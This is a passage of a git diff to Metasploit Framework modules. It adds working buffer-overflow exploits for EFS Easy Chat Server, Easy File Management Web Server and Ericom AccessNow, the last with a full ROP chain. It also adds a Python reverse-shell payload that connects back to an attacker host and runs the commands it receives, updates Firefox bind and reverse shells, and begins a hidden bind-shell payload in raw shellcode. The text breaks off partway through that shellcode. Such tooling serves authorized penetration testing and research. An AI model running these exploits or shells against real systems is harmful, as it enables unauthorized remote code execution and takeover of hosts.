a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -263,4 +263,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index a749d68d7e..1dc20aa6c3 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -269,4 +269,4 @@ eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 tsgetx71ex553!Ordinal931+0x2dd: 28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=???????? -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 4129e6df9d..7185e92171 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -105,4 +105,4 @@ class Metasploit3 < Msf::Exploit::Remote file_create(file) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index c9193884fa..5e8b2fea2c 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -82,4 +82,4 @@ class Metasploit3 < Msf::Exploit::Remote file_create(filecontent) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 87876ae500..9e42b8ec78 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', 'Description' => %q{ - This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By - sending a overly long authentication request, an attacker may be able to execute - arbitrary code. - - NOTE: The offset to SEH is influenced by the installation path of the program. - The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated - with "\users\" and the string passed as the username HTTP paramter. + This module exploits a stack buffer overflow in EFS Software Easy Chat + Server versions 2.0 to 3.1. By sending an overly long authentication + request, an attacker may be able to execute arbitrary code. }, - 'Author' => [ 'LSO ' ], + 'Author' => + [ + 'LSO ', # original metasploit + 'Brendan Coles ' # metasploit + ], 'License' => BSD_LICENSE, 'References' => [ - [ 'CVE', '2004-2466' ], + [ 'CVE', '2004-2466' ], [ 'OSVDB', '7416' ], - [ 'BID', '25328' ], + [ 'OSVDB', '106841' ], + [ 'BID', '25328' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Privileged' => true, + 'Privileged' => false, 'Payload' => { - 'Space' => 500, - 'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", + 'Space' => 7000, + 'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ - [ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k + # Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on: + # -- Windows XP SP 3 (x86) (EN) + # -- Windows 7 SP 1 (x64) (EN) + # -- Windows 8 SP 0 (x64) (EN) + [ 'Automatic Targeting', { 'auto' => true } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ] ], 'DisclosureDate' => 'Aug 14 2007', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('PATH', [ true, "Installation path of Easy Chat Server", - "C:\\Program Files\\Easy Chat Server" ]) - ], self.class ) end def check - info = http_fingerprint # check method - # NOTE: Version 2.5 still reports "1.0" in the "Server" header - if (info =~ /Easy Chat Server\/1\.0/) - return Exploit::CheckCode::Appears + version = get_version + if not version + return Exploit::CheckCode::Safe + end + vprint_status "#{peer} - Found version: #{version}" + if version !~ /^(2\.\d|3\.0|3\.1)$/ + return Exploit::CheckCode::Safe + end + path = get_install_path + if not path + return Exploit::CheckCode::Detected + end + vprint_status "#{peer} - Found path: #{path}" + return Exploit::CheckCode::Appears + end + + # + # Get software version from change log + # + def get_version + res = send_request_raw 'uri' => '/whatsnew.txt' + if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/ + return "#{$1}" + end + end + + # + # Get software installation path from uninstall file + # + def get_install_path + res = send_request_raw 'uri' => '/unins000.dat' + if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i + return "#{$1}" end - Exploit::CheckCode::Safe end def exploit - # randomize some values. - val = rand_text_alpha(rand(10) + 1) - num = rand_text_numeric(1) - path = datastore['PATH'] + "\\users\\" - print_status("path: " + path) + # get target + if target.name =~ /Automatic/ + version = get_version + vprint_status "#{peer} - Found version: #{version}" if version + if not version or version !~ /^(2\.\d|3\.0|3\.1)$/ + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /(2\.0)/ + my_target = targets[1] + elsif version =~ /(2\.\d|3\.0|3\.1)/ + my_target = targets[2] + end + else + my_target = target + end - # exploit buffer. - filler = rand_text_alpha(256 - path.length) - seh = generate_seh_payload(target.ret) - juju = filler + seh + # get install path + path = get_install_path + if not path + fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path") + end + path << "\\users\\" + vprint_status "#{peer} - Using path: #{path}" - uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}" + # send payload + sploit = rand_text_alpha(256 - path.length) + sploit << generate_seh_payload(my_target.ret) + print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})" + send_request_cgi({ + 'uri' => '/chat.ghp', + 'encode_params' => false, + 'vars_get' => { + 'username' => sploit, + 'password' => rand_text_alphanumeric(rand(10) + 1), + 'room' => 1, + 'sex' => rand_text_numeric(1) + } + }, 5) - print_status("Trying target #{target.name}...") - - send_request_raw({'uri' => uri}, 5) - - handler - disconnect end end + +=begin + +0x004144C8 calls sprintf with the following arguments: +sprintf(&FileName, "%susers\\%s", path, username); + +Since we can make the username larger than the allocated buffer size +we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with +a short jmp to the beginning of our shellcode. + +(46c.144): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea +eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +EasyChat+0x45f34: +00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=?? + +0:005> !exchain +01216dd8: 41414141 +Invalid exception stack at 41414141 +=end diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb new file mode 100644 index 0000000000..3c4f41cb6b --- /dev/null +++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking # Reliable memory corruption + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Management Web Server Stack Buffer Overflow', + 'Description' => %q{ + Easy File Management Web Server v4.0 and v5.3 contains a stack buffer + overflow condition that is triggered as user-supplied input is not + properly validated when handling the UserID cookie. This may allow a + remote attacker to execute arbitrary code. + }, + 'Author' => + [ + 'superkojiman', # Vulnerability discovery + 'Julien Ahrens', # Exploit + 'TecR0c ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '107241'], + ['EDB', '33610'], + ['BID', '67542'], + ['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'], + ['URL', 'http://www.web-file-management.com/'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d;", + 'Space' => 3420 # Lets play it safe + }, + 'Targets' => + [ + # Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on: + # -- Microsoft Windows XP [Version 5.1.2600] + # -- Microsoft Windows [Version 6.1.7600] + # -- Microsoft Windows [Version 6.3.9600] + ['Automatic Targeting', { 'auto' => true }], + ['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }], + ['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }], + # 0x10010101 = pop ebx > pop ecx > retn + # 0xA445ABCF = 0x514CF5 push esp > retn 0c + # 0xA4518472 = 0x457452 jmp esp + # From ImageLoad.dll + ], + 'DisclosureDate' => 'May 20 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp']) + ], self.class) + end + + def get_version + + # + # NOTE: Version 5.3 still reports "4.0" in the "Server" header + # + + version = nil + res = send_request_raw({'uri' => '/whatsnew.txt'}) + if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/ + version = $1 + vprint_status "#{peer} - Found version: #{version}" + elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/ + version = $1 + vprint_status "#{peer} - Based on Server header: #{version}" + end + + version + end + + def check + code = Exploit::CheckCode::Safe + version = get_version + if version.nil? + code = Exploit::CheckCode::Unknown + elsif version == "5.3" + code = Exploit::CheckCode::Appears + elsif version == "4.0" + code = Exploit::CheckCode::Appears + end + + code + end + + def exploit + + # + # Get target version to determine how to reach call/jmp esp + # + + print_status("#{peer} - Fingerprinting version...") + version = get_version + + if target.name =~ /Automatic/ + if version.nil? + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /5\.3/ + my_target = targets[1] + elsif version =~ /4\.0/ + my_target = targets[2] + end + print_good("#{peer} - Version #{version} found") + else + my_target = target + unless version && my_target.name.include?(version) + print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...") + end + end + + # + # Fu to reach where payload lives + # + + sploit = rand_text(80) # Junk + sploit << [0x1001D8C8].pack("V") # Push edx + sploit << rand_text(280) # Junk + sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn + sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp + sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction + sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn + sploit << rand_text(8) # Filler + sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn + sploit << [0x1002466D].pack("V") # Push eax > retn + sploit << payload.encoded + + print_status "#{peer} - Trying target #{my_target.name}..." + + # + # NOTE: Successful HTTP request is required to trigger + # + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;", + }, 1) + end +end + +=begin + +# +# 0x44f57d This will write UserID up the stack. If the UserID is to large it +# will overwrite a pointer which is used later on at 0x468702 +# + +eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac +eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 +fmws+0x4f57d: +0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +0:004> dd @esi +01668084 41414141 41414141 41414141 41414141 +01668094 41414141 41414141 41414141 41414141 +016680a4 41414141 41414141 41414141 41414141 +016680b4 41414141 41414141 41414141 41414141 +016680c4 41414141 41414141 41414141 41414141 +016680d4 41414141 41414141 41414141 41414141 +016680e4 41414141 41414141 41414141 41414141 +016680f4 41414141 41414141 41414141 41414141 + +(c38.8cc): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc +eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +fmws+0x68702: +00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=???????? + +=end diff --git a/modules/exploits/windows/http/ericom_access_now_bof.rb b/modules/exploits/windows/http/ericom_access_now_bof.rb new file mode 100644 index 0000000000..ce22761672 --- /dev/null +++ b/modules/exploits/windows/http/ericom_access_now_bof.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ericom AccessNow Server Buffer Overflow', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Ericom AccessNow Server. The + vulnerability is due to an insecure usage of vsprintf with user controlled data, + which can be triggered with a malformed HTTP request. This module has been tested + successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003 + Server SP2. + }, + 'Author' => + [ + 'Unknown', # Vulnerability Discovery + 'juan vazquez', # Metasploit Module + ], + 'References' => + [ + ['ZDI', '14-160'], + ['CVE', '2014-3913'], + ['BID', '67777'], + ['URL','http://www.ericom.com/security-ERM-2014-610.asp'] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 4096, + 'BadChars' => "\x00\x0d\x0a", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Targets' => + [ + [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]', + { + 'RopOffset' => 62, + 'Offset' => 30668, + 'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll + } + ] + ], + 'DisclosureDate' => 'Jun 2 2014', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(8080)], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => '/AccessNow/start.html' + }) + + unless res && res.code == 200 && res.headers['Server'] + return Exploit::CheckCode::Safe + end + + if res.headers['Server'] =~ /Ericom AccessNow Server/ + return Exploit::CheckCode::Appears # Ericom AccessNow 2.4 + elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/ + return Exploit::CheckCode::Detected # Ericom AccessNow 3 + end + + Exploit::CheckCode::Unknown + end + + def exploit_uri + uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message + uri << rand_text(target['RopOffset']) + uri << create_rop_chain + uri << payload.encoded + uri << rand_text(target['Offset'] - uri.length) + uri << rand_text(4) # nseh + uri << [target.ret].pack("V") # seh + + uri + end + + def exploit + print_status("#{peer} - Sending malformed request...") + send_request_raw({ + 'method' => 'GET', + 'uri' => exploit_uri, + 'encode' => false + }, 1) + end + + def create_rop_chain + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 + 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 + 0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll] + 0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll] + 0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll] + 0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll] + 0x103eed74, # & jmp esp [AccessNowAccelerator32.dll] + 0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xffffffff, # Value to negate, will become 0x00000001 + 0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll] + 0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll] + 0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx) + 0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll] + 0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll] + 0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll] + 0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll] + 0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll] + 0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll] + 0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0x90909090, # nop + 0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll] + ].pack("V*") + + rop_gadgets + end + +end diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 07df848e19..334ba89633 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Local 'Thomas McCarthy "smilingraccoon" ', 'Brandon McCann "zeknox" ' ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 8f560dc3ed..39a8ca5233 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -203,4 +203,4 @@ user-agent: BBC 11.00.044; 14 disconnect end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 3d1e5d8d71..cb0b1612b3 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Create loot table to store configuration information from crawled database server links linked_server_table = Rex::Ui::Text::Table.new( 'Header' => 'Linked Server Table', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] ) save_loot = "" diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 68badfeef6..03027e943d 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -81,7 +81,9 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]), OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), - OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]) + OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]), + OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]), + OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil]) ], self.class) end @@ -152,8 +154,9 @@ class Metasploit3 < Msf::Exploit::Remote # Disconnect from the ADMIN$ simple.disconnect("ADMIN$") else - servicename = rand_text_alpha(8) + servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) servicedescription = datastore['SERVICE_DESCRIPTION'] + displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1) # Upload the shellcode to a file print_status("Uploading payload...") @@ -199,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end - psexec(file_location, false, servicedescription) + psexec(file_location, false, servicedescription, servicename, displayname) print_status("Deleting \\#{filename}...") sleep(1) diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 9a91867fb7..377c25a624 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -23,22 +24,14 @@ module Metasploit3 'Arch' => ARCH_FIREFOX, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'firefox', - 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + 'PayloadType' => 'firefox' )) end - # - # Constructs the payload - # - def generate - super + command_string - end - # # Returns the JS string to use for execution # - def command_string + def generate %Q| (function(){ Components.utils.import("resource://gre/modules/NetUtil.jsm"); @@ -59,16 +52,17 @@ module Metasploit3 } }; + #{read_until_token_source} + var clientListener = function(outStream) { return { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if(!err) outStream.write(output, output.length); }); - } + }) }; }; diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 92d32aa8c4..e3a8d572fe 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -45,15 +46,16 @@ module Metasploit3 .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); + #{read_until_token_source} + var listener = { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if (!err) outStream.write(output, output.length); }); - } + }) }; #{run_cmd_source} @@ -63,4 +65,5 @@ module Metasploit3 EOS end + end diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb new file mode 100644 index 0000000000..1527ad9a26 --- /dev/null +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Command Shell, Reverse TCP (via python)', + 'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3', + 'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = '' + dead = Rex::Text.rand_text_alpha(2) + # Set up the socket + cmd << "import socket,os\n" + cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" + cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n" + # The actual IO + cmd << "#{dead}=False\n" + cmd << "while not #{dead}:\n" + cmd << "\tdata=so.recv(1024)\n" + cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n" + cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n" + cmd << "\tstdout_value=stdout.read()+stderr.read()\n" + cmd << "\tso.send(stdout_value)\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" + + cmd + end + +end + diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 7601be09ea..652d094a5c 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -15,12 +15,12 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Name' => 'Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, 'Platform' => 'python', - 'Arch' => ARCH_CMD, + 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcpSsl, 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'python', @@ -36,8 +36,7 @@ module Metasploit3 # Constructs the payload # def generate - vprint_good(command_string) - return super + command_string + super + command_string end # @@ -60,11 +59,10 @@ module Metasploit3 cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" - # The *nix shell wrapper to keep things clean # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" - return cmd + cmd end - end + diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb new file mode 100644 index 0000000000..d768feaa1b --- /dev/null +++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Hidden Bind TCP Inline', + 'Description' => 'Listen for a connection from certain IP and spawn a command shell. + The shellcode will reply with a RST packet if the connections is not + comming from the IP defined in AHOST. This way the port will appear + as "closed" helping us to hide the shellcode.', + 'Author' => + [ + 'vlad902', # original payload module (single_shell_bind_tcp) + 'sd', # original payload module (single_shell_bind_tcp) + 'Borja Merino ' # Add Hidden ACL functionality + ], + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html'], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 200, 'n' ], + 'AHOST' => [ 262, 'ADDR' ], + 'EXITFUNC' => [ 363, 'V' ], + }, + 'Payload' => + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" + + "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" + + "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" + + "\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" + + "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" + + "\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" + + "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" + + "\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" + + "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" + + "\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" + + 